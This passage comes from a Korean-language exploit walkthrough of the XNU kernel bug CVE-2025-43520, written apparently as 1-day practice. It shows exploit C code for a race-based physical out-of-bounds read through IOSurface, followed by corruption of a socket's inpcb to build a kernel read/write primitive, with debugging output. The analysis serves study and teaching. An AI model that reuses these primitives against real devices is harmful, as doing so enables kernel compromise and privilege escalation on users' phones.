&amp;numPageInfo,\n                                            &amp;highPage);\n                                } else {\n                                        assert(theMap);\n                                        error = vm_map_create_upl(theMap,\n                                            startPage,\n                                            (upl_size_t*)&amp;ioplSize,\n                                            &amp;iopl.fIOPL,\n                                            baseInfo,\n                                            &amp;numPageInfo,\n                                            &amp;ioplFlags,\n                                            tag);\n                                }\n\n                                \/\/...\n        return error;\n}\n<\/code><\/pre>\n<h3>IOSurface::complete<\/h3>\n<p><code>IOSurface::complete<\/code>\ub294 \ub0b4\ubd80\uc801\uc73c\ub85c <code>IOGeneralMemoryDescriptor::complete<\/code> \ub97c \ud638\ucd9c\ud558\uba70,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-04-28_at_4.02.04_PM.png\" alt=\"Screenshot 2026-04-28 at 4.02.04\u202fPM.png\"><\/p>\n<h3>IOGeneralMemoryDescriptor::complete<\/h3>\n<p>UPL\uc774 \uc18c\uba78\ub41c\ub2e4. wireCount\ub97c \uac10\uc18c\uc2dc\ud0a4\uba70, \uc77c\ubc18\uc801\uc73c\ub85c <code>upl_commit<\/code> \ub610\ub294 <code>upl_abort<\/code> \uc911 \ud558\ub098\ub97c \ud1b5\ud574 \uc0dd\uba85\uc8fc\uae30\ub97c \ub9c8\uce58\uac8c \ub41c\ub2e4.<\/p>\n<ul>\n<li><strong>Commit<\/strong>: \ud398\uc774\uc9c0\ub97c \ubc31\ud0b9 \uc2a4\ud1a0\uc5b4\ub85c flush\ud558\uace0, \uac00\ub2a5\ud558\uba74 \ud574\uc81c\ud55c\ub2e4.<\/li>\n<li><strong>Abort<\/strong>: \ub3d9\uae30\ud654\ud558\uc9c0 \uc54a\uace0, \ud398\uc774\uc9c0\ub97c \ube44\ud65c\uc131\ud654\ud55c\ub2e4.<\/li>\n<\/ul>\n<pre><code class=\"language-c\">IOReturn\nIOGeneralMemoryDescriptor::complete(IODirection forDirection)\n{\n        IOOptionBits type = _flags &amp; kIOMemoryTypeMask;\n        ioGMDData  * dataP;\n        \/\/...\n        do{\n                \/\/...\n                _wireCount--;\n                if (!_wireCount || (kIODirectionCompleteWithDataValid &amp; forDirection)) {\n                        ioPLBlock *ioplList = getIOPLList(dataP);\n                        UInt ind, count = getNumIOPL(_memoryEntries, dataP);\n                        if (_wireCount) {\n                                \/\/...\n                        } else {\n                                \/\/...\n                                \/\/ Only complete iopls that we created which are for TypeVirtual\n                                if (kIOMemoryTypeVirtual == type || kIOMemoryTypeVirtual64 == type || kIOMemoryTypeUIO == type) {\n                                        for (ind = 0; ind &lt; count; ind++) {\n                                                if (ioplList[ind].fIOPL) {\n                                                        if (dataP-&gt;fCompletionError) {\n                                                                upl_abort(ioplList[ind].fIOPL, 0 \/*!UPL_ABORT_DUMP_PAGES*\/);\n                                                        } else {\n                                                                upl_commit(ioplList[ind].fIOPL, NULL, 0);\n                                                        }\n                                                        upl_deallocate(ioplList[ind].fIOPL);\n                                                }\n                                        }\n                                \/\/...\n        return kIOReturnSuccess;\n}\n<\/code><\/pre>\n<h3>IOSurfaceRootUserClient::prefetch_pages (part 2)<\/h3>\n<p><code>IOGeneralMemoryDescriptor::prepare<\/code> \uc5d0\uc11c <code>wireVirtual()<\/code>\uc5d0 \uc758\ud574 \uc2e4\uc81c\ub85c \ud398\uc774\uc9c0\uc778\uc744 \uc9c4\ud589\ud558\uba74\uc11c \ud398\uc774\uc9c0\ub97c RAM \uc5d0\uc11c \ubabb \ube7c\uac8c \uc7a0\uad74\ub824\uace0 wire\ud574\ub450\uc5c8\ub2e4.<\/p>\n<p>\ud558\uc9c0\ub9cc \uc774\ud6c4\uc5d0 <code>IOGeneralMemoryDescriptor::complete<\/code> \uc5d0 \uc758\ud574 wire\ub97c \ub2e4\uc2dc \ud574\uc81c\ud574\uc8fc\uc5c8\uae30 \ub54c\ubb38\uc5d0, \uba54\ubaa8\ub9ac\uac00 \ubd80\uc871\ud574\uc9c0\uba74 \uc5b8\uc81c\ub4e0\uc9c0 RAM\uc5d0\uc11c \ud68c\uc218\ub420 \uc218 \uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<p>\uc815\ub9ac\ud558\uc790\uba74, IOSurfaceAddress \uac00\uc0c1\uc8fc\uc18c\uc5d0 \uc788\ub294 \ub370\uc774\ud130\ub294 RAM \uc5d0 \uc62c\ub77c\uc654\uc9c0\ub9cc wire\ub85c\ub294 \uc548\uc7a1\ud600\uc788\ub294 \uc0c1\ud0dc\ub77c\uace0 \ubcf4\uba74 \ub420 \ub4ef \uc2f6\ub2e4.<\/p>\n<h2>pe_v1 (part 7)<\/h2>\n<pre><code class=\"language-objectivec\">void pe_v1(void) {\n   ...\n            \/\/ surface_mlock(searchMappingAddress, searchMappingSize);\n            mach_vm_offset_t seekingOffset = 0;\n            \/\/ fix mach_vm_map err on free thread, we'd try to map outside mo\n            while (seekingOffset &lt;= searchMappingSize - pcSize) {\n                kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE,\n                                          OOB_OFFSET, readBuffer);\n                if (kr == KERN_SUCCESS) {\n                    \/\/ ...\n                }\n                seekingOffset += PAGE_SIZE;\n            }\n   ...\n<\/code><\/pre>\n<h3>physical_oob_read_mo<\/h3>\n<p>\uc774\uc804\uc5d0 calloc\uc73c\ub85c 0xf00(3840)\ud06c\uae30\ub9cc\ud07c \ud560\ub2f9\ubc1b\uc740 buffer\ub97c \uc778\uc790\ub85c \ubc1b\ub294\ub2e4.<\/p>\n<p>buffer\uc758 \uccab 8\ubc14\uc774\ud2b8\uc5d0\ub294 0x41\u2026 \ub9c8\ucee4\ub97c \uc0c8\uae30\uace0, pcAddress \uac00\uc0c1\uc8fc\uc18c\uc758 2\ubc88\uc9f8 \ud398\uc774\uc9c0\uc758 \uccab 8\ubc14\uc774\ud2b8\uc5d0\ub294 0x42\u2026 \ub9c8\ucee4\ub97c \uc0c8\uae34\ub2e4. (\uc6d0\ubcf8 \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\uc5d0\uc11c\ub294 randomMarker\uc758 \ud2b9\uc815 \ub79c\ub364 \uac12\uc73c\ub85c \ub9c8\ucee4\ub97c \uc0c8\uae30\uc9c0\ub9cc, \ub9c8\ucc2c\uac00\uc9c0\ub85c \uc27d\uac8c \uc54c\uc544\ubcf4\uae30 \uc704\ud574 \uc784\uc758\ub85c \uc218\uc815\ud558\uc600\uc73c\uba70, \ub808\uc774\uc2a4\uac00 \uc131\uacf5\ub41c \ucf00\uc774\uc2a4\ub9cc\uc744 \ud655\uc2e4\ud558\uac8c \uc7a1\uae30 \uc704\ud574 getchar() \ucf54\ub4dc\ub97c \uc784\uc758\ub85c \ub123\uc5c8\ub2e4.)<\/p>\n<p>\uadf8\ub7f0 \ub2e4\uc74c, \ub808\uc774\uc2f1\uc774 \uc2dc\uc791\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">kern_return_t physical_oob_read_mo(mach_port_t memoryObject,\n                                   mach_vm_offset_t memoryObjectOffset,\n                                   mach_vm_size_t size, mach_vm_offset_t offset,\n                                   void *buffer) {\n                                   \/\/ args\n                                   \/\/ buffer = calloc(1, OOB_SIZE);\n                                   \/\/ memoryObjectOffset = 0, 0x4000, 0x8000...\n                                   \/\/ size = OOB_SIZE(0xf00)\n                                   \/\/ offset = OOB_OFFSET(0x100)\n                                   \/\/ pcAddress = (address mapped to random user region within specific area of VRAM)\n                                   \/\/ pcSize = 0x8000\n                                   \/\/ memoryObject was created by mach_make_memory_entry_64 function in pe_v1 \n                                   \/\/ mach_make_memory_entry_64(mach_task_self(), &amp;memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &amp;memoryObject, 0);\n    targetObject = memoryObject;\n    targetObjectOffset = memoryObjectOffset;\n    iov.iov_base = (void *)(pcAddress + 0x3f00);\n    iov.iov_len = offset + size;\n    *(uint64_t *)buffer = MARKER_41;\n    *(uint64_t *)(pcAddress + 0x3f00 + offset) = MARKER_42;\n\n    bool readRaceSucceeded = false;\n    int w = 0;\n    for (int tryIdx = 0; tryIdx &lt; highestSuccessIdx + 100; tryIdx++) {\n        raceSync = 1;\n        w = pwritev(readFd, &amp;iov, 1, 0x3f00);\n        while (raceSync == 1) ;\n        kern_return_t kr = mach_vm_map(mach_task_self(), &amp;pcAddress, pcSize, 0,\n                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0,\n                        VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);\n        if (kr != KERN_SUCCESS) {\n            printf(&quot;[+] mach_vm_map failed!!!\\n&quot;);\n            FAILURE(0);\n        }\n\n        if (1) {    \/\/ Originally code was 'if (w == -1) {', but NOT strictly required for the race condition; because on VMApple. it doesn't always return -1 that means always succeeded..\n            int r = pread(readFd, buffer, size, 0x3f00 + offset);\n            uint64_t marker = *(uint64_t *)buffer;\n            if (marker != MARKER_42 &amp;&amp; marker != MARKER_41 &amp;&amp; marker != randomMarker) {\n                readRaceSucceeded = true;\n                getchar();\n<\/code><\/pre>\n<p>ENABLE_HELPER \ub9e4\ud06c\ub85c \uc548\uc758 \ucf54\ub4dc\ub97c \uc791\uc131\ud558\uc5ec pcAddress \uac00\uc0c1\uc8fc\uc18c\uac00 \ubb3c\ub9ac \uba54\ubaa8\ub9ac\uc758 \uc5b4\ub290 \uc8fc\uc18c\uc5d0 \ub9f5\ud551\ub418\ub294\uc9c0 \ucd94\uac00\ub85c \uc791\uc131\ud558\uc600\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-05_at_2.38.16_PM.png\" alt=\"Screenshot 2026-05-05 at 2.38.16\u202fPM.png\"><\/p>\n<p>\uc774\uc81c \uacb0\uacfc\ub97c \ud55c\ubc88 \uc0b4\ud3b4\ubcf4\uc790.\n\ub808\uc774\uc2f1\uc774 \uc2dc\uc791\ub418\uae30\uc804\uc758 \uadf8\ub9bc\uc740 \uc544\ub798\uc640 \uac19\uc744 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-05-04_21.10.43.excalidraw_1.png\" alt=\"Drawing 2026-05-04 21.10.43.excalidraw 1.png\"><\/p>\n<p>\uadf8\ub9ac\uace0 \ub808\uc774\uc2a4\uac00 \uc131\uacf5\ud560\ub54c\uae4c\uc9c0\uc758 ENABLE_HELPER \ub9e4\ud06c\ub85c\ub97c \ud3ec\ud568\ud55c \ucf54\ub4dc \uc2e4\ud589 \uacb0\uacfc\ub97c \uc0b4\ud3b4\ubd24\uc744\ub54c\n\ub9f5\ud551\ub418\ub294 vram \ubb3c\ub9ac\uba54\ubaa8\ub9ac \uc8fc\uc18c\ub294 <strong>0x8bdf4c000<\/strong>\uc774\uba70, \uc0ac\uc6a9\uc790\uc601\uc5ed\uc758 \uc8fc\uc18c\ub294 <strong>0xbfe64c000<\/strong>\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-05_at_3.17.50_PM.png\" alt=\"Screenshot 2026-05-05 at 3.17.50\u202fPM.png\"><\/p>\n<p>Physical OOB Read\uac00 \ubc1c\uc0dd\ud558\uae30\uc804, \uc989 \uc6d0\ub798\ub77c\uba74, \uc0ac\uc6a9\uc790 \uc601\uc5ed\uacfc \ub9f5\ud551\ub418\uc5b4\uc9c0\ub294 \ubb3c\ub9ac \uc8fc\uc18c\ub294 \uc544\ub798\uc640 \uac19\uc544\uc57c\ub418\uc9c0\ub9cc<\/p>\n<pre><code class=\"language-c\">[\uc0ac\uc6a9\uc790 VA \uc8fc\uc18c] &lt;-&gt; [\ubb3c\ub9ac \uc8fc\uc18c]\n0xbfe64c000 &lt;-&gt; 0x8bdf4c000 (vram \uc601\uc5ed \ub0b4\ubd80)\n0xbfe650000 &lt;-&gt; 0x8bdf50000 (vram \uc601\uc5ed \ub0b4\ubd80)\n<\/code><\/pre>\n<p>\ub808\uc774\uc2f1 \ucf54\ub4dc \uc2e4\ud589 \uc774\ud6c4\ubd80\ud130\ub294 \ub2ec\ub77c\uc9c4\ub2e4.<\/p>\n<pre><code class=\"language-c\">(1, 2, 3 ... n\ubc88\uc9f8 \uc2dc\ub3c4; tryIdx = 0, 1, 2 ...)\n[\uc0ac\uc6a9\uc790 VA \uc8fc\uc18c] &lt;-&gt; [\ubb3c\ub9ac \uc8fc\uc18c]\n0xbfe64c000 &lt;-&gt; 0x82411c000\n0xbfe650000 &lt;-&gt; 0x80d064000\n<\/code><\/pre>\n<p>\uadf8\ub9ac\uace0 \ub808\uc774\uc2a4 \ucf54\ub4dc \uc911<\/p>\n<p><code>kern_return_t kr = mach_vm_map(mach_task_self(), &amp;pcAddress, pcSize, 0, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);<\/code><\/p>\n<p>\uc704 \ucf54\ub4dc \uc2e4\ud589 \uc804\uacfc \ud6c4\uc5d0 \ub530\ub77c \ub9f5\ud551\ub418\ub294 \ubb3c\ub9ac\uba54\ubaa8\ub9ac \uc8fc\uc18c\uac00 \ub2ec\ub77c\uc9c0\uba70,\n\uc2e4\ud589 \ud6c4\uc5d0\ub294 \uc6d0\ub798\uc758 \/vram \ub9f5\ud551 \uc601\uc5ed \uc8fc\uc18c\ub85c \ub2e4\uc2dc \ubcf5\uc6d0\ub41c\ub2e4.<\/p>\n<p>xnuspy\ub97c \uc774\uc6a9\ud558\uc5ec <code>cluster_align_phys_io<\/code>,  <code>cluster_write_contig<\/code>\ub97c \ud6c4\ud0b9\ud558\uba74\uc11c \ubb3c\ub9ac\uba54\ubaa8\ub9ac\ub97c \uc77d\uc5b4\uc624\ub294 \uc7a5\uc18c\ub294 \ucd1d3\uac00\uc9c0 \ucf00\uc774\uc2a4\ub97c \ubc1c\uacac\ud560 \uc218 \uc788\uc5c8\ub294\ub370,<\/p>\n<ol>\n<li><code>searchMappings<\/code> NSMutableArray \ubc30\uc5f4\uc758 8\uac00\uc9c0 \uc601\uc5ed \uc911 \uc5b4\ub290 \ud55c \uc601\uc5ed\uc5d0 \uc788\uc73c\uba70, 8192\ud398\uc774\uc9c0 \uc911 \uc5b4\ub290 \ud55c \ud398\uc774\uc9c0 (<code>cluster_write_contig<\/code> \/ <code>cluster_align_phys_io<\/code> \ud638\ucd9c\uc744 \ud558\uc9c0 \uc54a\uc740 \ucf00\uc774\uc2a4)<\/li>\n<\/ol>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-05_at_3.19.31_PM.png\" alt=\"Screenshot 2026-05-05 at 3.19.31\u202fPM.png\"><\/p>\n<p>1-2. <code>searchMappings<\/code> NSMutableArray \ubc30\uc5f4\uc758 8\uac1c \uc601\uc5ed \uc911 \uc5b4\ub290 \ud55c \uc601\uc5ed\uc5d0 \uc788\uc73c\uba70, 8192\ud398\uc774\uc9c0 \uc911 \uc5b4\ub290 \ud55c \ud398\uc774\uc9c0 (<code>cluster_write_contig<\/code> \ud638\ucd9c\uc744 \ud55c \ucf00\uc774\uc2a4; \uc77d\uc5b4\ub4e4\uc778 \ud5e5\uc2a4\ub364\ud504 \uc8fc\uc18c\ub294 <strong>0x824120000<\/strong>)<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-05_at_3.20.43_PM.png\" alt=\"Screenshot 2026-05-05 at 3.20.43\u202fPM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-05_at_3.21.22_PM.png\" alt=\"Screenshot 2026-05-05 at 3.21.22\u202fPM.png\"><\/p>\n<ol>\n<li>\ucd08\uae30 <code>create_physically_contiguous_mapping<\/code> \ud568\uc218\uc5d0\uc11c \/vram \uc601\uc5ed\uc5d0 \ub9f5\ud551\ub418\uc5c8\ub358 \ubb3c\ub9ac\uc601\uc5ed \uc911 2\ubc88\uc9f8 \ud398\uc774\uc9c0 (<code>cluster_write_contig<\/code> \ud638\ucd9c\uc744 \ud55c \ucf00\uc774\uc2a4; \uc77d\uc5b4\ub4e4\uc778 \ud5e5\uc2a4\ub364\ud504 \uc8fc\uc18c\ub294 <strong>0x8bdf50000<\/strong>)<\/li>\n<\/ol>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-05_at_3.31.16_PM.png\" alt=\"Screenshot 2026-05-05 at 3.31.16\u202fPM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-05_at_3.30.55_PM.png\" alt=\"Screenshot 2026-05-05 at 3.30.55\u202fPM.png\"><\/p>\n<ol>\n<li>\/vram \uc601\uc5ed\uc5d0\ub3c4 \uc18d\ud558\uc9c0 \uc54a\uace0, <code>searchMappings<\/code> NSMutableArray \ubc30\uc5f4\uc758 8\uac1c \uc601\uc5ed \uc911 \uc5b4\ub290 \ud55c \uacf3\ub3c4 \uc18d\ud558\uc9c0 \uc54a\ub294 \ucf00\uc774\uc2a4(<code>cluster_write_contig<\/code> \ud638\ucd9c\uc744 \ud55c \ucf00\uc774\uc2a4; \uc77d\uc5b4\ub4e4\uc778 \ud5e5\uc2a4\ub364\ud504 \uc8fc\uc18c\ub294 <strong>0x80d068000<\/strong>)<\/li>\n<\/ol>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-05_at_3.38.33_PM.png\" alt=\"Screenshot 2026-05-05 at 3.38.33\u202fPM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-05_at_3.38.50_PM.png\" alt=\"Screenshot 2026-05-05 at 3.38.50\u202fPM.png\"><\/p>\n<p>\ub530\ub77c\uc11c <code>readRaceSucceeded<\/code> \uac00 True\ub85c \uc138\ud2b8\ub418\ub294 \uacbd\uc6b0\ub294 \uc704 3\uac00\uc9c0 \ucf00\uc774\uc2a4 \uc911 \ub9c8\uc9c0\ub9c9\uc778 3\ubc88\uc9f8\uc5d0 \ud574\ub2f9\ub41c\ub2e4.\nTrue\ub85c \uc138\ud2b8\ub418\uba74, \ubc18\ubcf5\ubb38\uc744 \ube60\uc838\ub098\uac00\uace0 KERN_SUCCESS\ub97c \ubc18\ud658\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-05_at_3.55.21_PM.png\" alt=\"Screenshot 2026-05-05 at 3.55.21\u202fPM.png\"><\/p>\n<h2>\ucde8\uc57d\uc810 \ubc1c\uc0dd \uc6d0\uc778 \ub530\ub77c\uac00\ubcf4\uae30<\/h2>\n<p>\ub808\uc774\uc2a4\ub97c \ud1b5\ud574 physical oob read\uac00 \ub418\ub294 \uacfc\uc815\uc740 \uc544\ub798\uc640 \uac19\uc774 \uc0ac\uc9c4\uc73c\ub85c \ub098\ud0c0\ub0bc \uc218 \uc788\uc744 \uac83 \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-05-21_19.57.14.excalidraw-fs8.png\" alt=\"Drawing 2026-05-21 19.57.14.excalidraw-fs8.png\"><\/p>\n<h2>pe_v1 (part 8)<\/h2>\n<p><code>physical_oob_read_mo<\/code>\uc5d0\uc11c KERN_SUCCESS\ub97c \ubc18\ud658\ud558\uba74, <code>find_and_corrupt_socket<\/code>\ub97c \uc218\ud589\ud55c\ub2e4.<\/p>\n<p><code>find_and_corrupt_socket<\/code>\ub97c \uc0b4\ud3b4\ubcf4\ub3c4\ub85d \ud558\uc790.<\/p>\n<pre><code class=\"language-objectivec\">void pe_v1(void) {\n   ...\n            \/\/ surface_mlock(searchMappingAddress, searchMappingSize);\n            mach_vm_offset_t seekingOffset = 0;\n            \/\/ fix mach_vm_map err on free thread, we'd try to map outside mo\n            while (seekingOffset &lt;= searchMappingSize - pcSize) {\n                kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE,\n                                          OOB_OFFSET, readBuffer);\n                if (kr == KERN_SUCCESS) {\n                    if (find_and_corrupt_socket(memoryObject, seekingOffset,\n                                                readBuffer, writeBuffer,\n                                                targetInpGencntList,\n                                                false) == KERN_SUCCESS) {\n                        success = true;\n                        break;\n                    }\n                }\n                seekingOffset += PAGE_SIZE;\n            }\n   ...\n<\/code><\/pre>\n<h3>find_and_corrupt_socket<\/h3>\n<p><code>pe_v1<\/code> \ud568\uc218\uc5d0\uc11c \ud638\ucd9c\ub418\ub294 \ucf00\uc774\uc2a4\uc758 \uacbd\uc6b0, <code>physical_oob_read_mo<\/code>\uc5d0\uc11c \uc77d\uc5c8\ub358 <code>readBuffer<\/code>\uc5d0\uc11c <code>executableName<\/code>\uc744 \ud1b5\ud574 inpcb\ub97c \ucc3e\ub294\ub2e4.<\/p>\n<p>\ucc3e\uc9c0 \ubabb\ud558\uba74, \ub2e4\uc2dc\ud55c\ubc88 <code>pe_v1<\/code>\uc5d0\uc11c <code>seekingOffset<\/code>\uc744 PAGE_SIZE\ub9cc\ud07c \uc99d\uac00\uc2dc\ud0a4\uace0 \ub2e4\uc2dc\ud55c\ubc88 <code>physical_oob_read_mo<\/code> \ud638\ucd9c\ud574\uc11c <code>readBuffer<\/code>\ub97c \uc77d\uace0 \ub2e4\uc2dc \ucc3e\ub294\ub2e4.<\/p>\n<pre><code class=\"language-c\">int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOffset, void *readBuffer, void *writeBuffer, NSMutableArray *targetInpGencntList, bool doRead) {\n    if (doRead) {\n        physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);\n    }\n\n    int searchStartIdx = 0;\n    bool targetFound = false;\n    uint64_t pcbStartOffset = 0;\n    uint64_t corrupted_filter_marker = 0x0000ffffffffffff;\n    void* found = NULL;\n    do {\n        found = memmem(readBuffer + searchStartIdx, OOB_SIZE - searchStartIdx, executableName, strlen(executableName));\n        if (found) {\n            \/\/ original implementation would apply a mask to the oracle ptr to get pcbStartOffset\n            \/\/ but that approach doesn't work on older iOS versions, so we search for the corrupted filter\n            \/\/ and calculate pcbStartOffset from there, which works on all versions \n            uint64_t found_offset = (uint8_t*)found - (uint8_t*)readBuffer;\n            void* filter_found = reverse_memmem(found, found_offset, &amp;corrupted_filter_marker, sizeof(corrupted_filter_marker));\n            if (filter_found != NULL) {\n                uint64_t filter_offset = (uint8_t*)filter_found - (uint8_t*)readBuffer;\n                if (filter_offset &gt;= off_inpcb_inp_depend6_inp6_icmp6filt + 0x8) {\n                    pcbStartOffset = filter_offset - (off_inpcb_inp_depend6_inp6_icmp6filt + 0x8);\n                    targetFound = true;\n                    break;\n                }\n            }\n        }\n        searchStartIdx += 0x400;\n    } while (found != NULL &amp;&amp; searchStartIdx &lt; OOB_SIZE);\n    ...\n}\n<\/code><\/pre>\n<h2>\uc18c\ucf13\uc758 inpcb\ub97c \uc190\uc0c1\uc2dc\ucf1c \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30 \uad6c\ucd95\ud558\uae30<\/h2>\n<p>\uc27d\uac8c \ud575\uc2ec\ub9cc \uc0b4\ud3b4\ubcf4\uae30 \uc704\ud574 \ucf54\ub4dc\ub97c \uc7ac\uad6c\ud604\ud558\uc600\ub2e4.<\/p>\n<p>\uc18c\ucf13\uc744 2\uac1c \uc0dd\uc131\ud55c \ub2e4\uc74c, inpcb \uad6c\uc870\uccb4\uc5d0 \uc788\ub294 \ud544\ub4dc\uac12 2\uacf3\uc744\uc744 \uc784\uc758\uc758 \uac12\uc73c\ub85c \ub36e\uc5b4\uc4f0\ub294\ub370 KextRW\ub97c \uc774\uc6a9\ud574 \uc784\uc758\ub85c \ub36e\uc5b4\uc37c\uc73c\uba70, \ud55c\ubc88 \uc790\uc138\ud788 \ub2e4\ub904\ubcf4\uaca0\ub2e4.<\/p>\n<ul>\n<li>inpcbKernelRW\/main.c<\/li>\n<\/ul>\n<pre><code class=\"language-c\">\/\/ [https:\/\/github.com\/wh1te4ever\/tfp0_fun\/tree\/main\/inpcbKernelRW](https:\/\/github.com\/wh1te4ever\/tfp0_fun\/tree\/main\/inpcbKernelRW)\n\n#include &lt;stdio.h&gt;\n#include &lt;mach-o\/dyld.h&gt;\n#include &lt;mach\/mach.h&gt;\n#include &lt;sys\/fileport.h&gt;\n#include &lt;sys\/socket.h&gt;\n#include &lt;sys\/utsname.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;assert.h&gt;\n#include &lt;sys\/socket.h&gt;\n#include &lt;netinet\/icmp6.h&gt;\n#include &lt;stdlib.h&gt;\n#include &quot;offsets.h&quot;\n#include &quot;kextrw.h&quot;\n#include &quot;kutils.h&quot;\n\n\/\/ from kextrw.c\nextern uint64_t gKernelBase;\nextern uint64_t gKernelSlide;\n\n\/\/ from DarkSword kexploit\n#define GETSOCKOPT_READ_LEN 0x20\n#define EARLY_KRW_LENGTH 0x20\n\nint g_controlSocket = 0;\nint g_rwSocket = 0;\nuint8_t g_controlData[EARLY_KRW_LENGTH] = {0, };\nuint64_t g_controlSocketPcb = 0;\n\nfileport_t spray_socket(void) {\n    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);\n    if (fd == -1) {\n        printf(&quot;[-] socket create failed!!!&quot;);\n        return fd;\n    }\n\n    fileport_t outputSocketPort = 0;\n    fileport_makeport(fd, &amp;outputSocketPort);\n    close(fd);\n\n    return outputSocketPort;\n}\n\nuint64_t socketPort_to_inpcb(fileport_t socketPort) {\n    uint64_t selfTask = task_self();\n    uint64_t fileglob = task_get_ipc_port_kobject(selfTask, socketPort);\n    uint64_t socket = kextrw_kreadptr(fileglob + off_fg_data);\n    uint64_t inpcb = kextrw_kread64(socket + off_socket_so_pcb);\n    return inpcb;\n}\n\nvoid set_target_kaddr(uint64_t where) {\n    memset(g_controlData, 0, GETSOCKOPT_READ_LEN);\n    *(uint64_t *)g_controlData = where;\n    int res = setsockopt(g_controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, g_controlData, EARLY_KRW_LENGTH);\n    assert(res == 0);\n}\n\nvoid early_kread(uint64_t where, void *read_buf, size_t size) {\n    if (size &gt; EARLY_KRW_LENGTH) {\n        printf(&quot;[!] error: (size &gt; EARLY_KRW_LENGTH)\\n&quot;);\n        assert(false);\n    }\n    set_target_kaddr(where);\n    socklen_t read_data_length = (socklen_t)size;\n    int res = getsockopt(g_rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &amp;read_data_length);\n    assert(res == 0);\n    return;\n}\n\nuint64_t early_kread64(uint64_t where) {\n    uint64_t value = 0;\n    early_kread(where, &amp;value, sizeof(value));\n    return value;\n}\n\nvoid early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]) {\n    set_target_kaddr(where);\n    int res = setsockopt(g_rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, writeBuf, EARLY_KRW_LENGTH);\n    if (res != 0) {\n        printf(&quot;[-] setsockopt failed!!!&quot;);\n        assert(false);\n    }\n}\n\nvoid early_kwrite64(uint64_t where, uint64_t what) {\n    uint8_t writeBuf[EARLY_KRW_LENGTH];\n    early_kread(where, writeBuf, EARLY_KRW_LENGTH);\n    *(uint64_t *)writeBuf = what;\n    early_kwrite32bytes(where, writeBuf);\n}\n\nvoid krw_sockets_leak_forever(uint64_t controlSocketPcb, uint64_t rwSocketPcb) {\n    uint64_t controlSocketAddr = early_kread64(controlSocketPcb + off_inpcb_inp_socket);\n    \/\/ printf(&quot;controlSocketPcb + off_inpcb_inp_socket = 0x%llx -&gt; 0x%llx\\n&quot;, controlSocketPcb + off_inpcb_inp_socket, controlSocketAddr);usleep(50000);\n\n    uint64_t rwSocketAddr = early_kread64(rwSocketPcb + off_inpcb_inp_socket);\n    \/\/ printf(&quot;rwSocketPcb + off_inpcb_inp_socket = 0x%llx -&gt; 0x%llx\\n&quot;, rwSocketPcb + off_inpcb_inp_socket, rwSocketAddr);usleep(50000);\n\n    if (!controlSocketAddr || !rwSocketAddr) {\n        printf(&quot;[-] Couldn't find controlSocketAddr || rwSocketAddr\\n&quot;);\n    }\n\n    uint64_t controlSocketSoCount = early_kread64(controlSocketAddr + off_socket_so_usecount);\n    \/\/ printf(&quot;controlSocketAddr + 